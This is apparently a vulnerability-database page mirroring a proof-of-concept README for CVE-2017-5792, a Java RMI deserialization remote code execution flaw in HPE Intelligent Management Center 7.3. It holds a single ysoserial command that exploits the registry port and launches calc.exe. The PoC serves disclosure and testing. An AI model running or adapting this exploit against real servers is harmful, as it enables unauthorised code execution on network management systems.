CVE-2017-5792 PoC — HP Intelligent Management Center 安全漏洞

Source

https://github.com/scanfsec/HPE-iMC-7.3-RMI-Java-Deserialization

Associated Vulnerability

Title:HP Intelligent Management Center 安全漏洞 (CVE-2017-5792)
Description:A Remote Code Execution vulnerability in HPE Intelligent Management Center (iMC) PLAT version 7.3 E0504P2 was found.

Description

CVE-2017-5792

Readme

# HPE iMC 7.3 Java RMI Registry Deserialization RCE Vulnerability

# CVE ID 
CVE-2017-5792

# Exploit
Vendor Homepage: www.hpe.com

Version: iMC PLAT v7.3 (E0504) Standard

Tested on: Windows Server 2008 R2 Enterprise 64-bit

## note that this PoC will launch calc.exe
$ java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 192.168.1.100 21195 CommonsBeanutils1 calc.exe

## Software Link
https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=19068&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber=

# See Also
http://zerodayinitiative.com/advisories/ZDI-18-137/

File Snapshot


 [4.0K]  /data/pocs/2edfcfac67094877c06183bb69b889acd0926688
└── [ 634]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!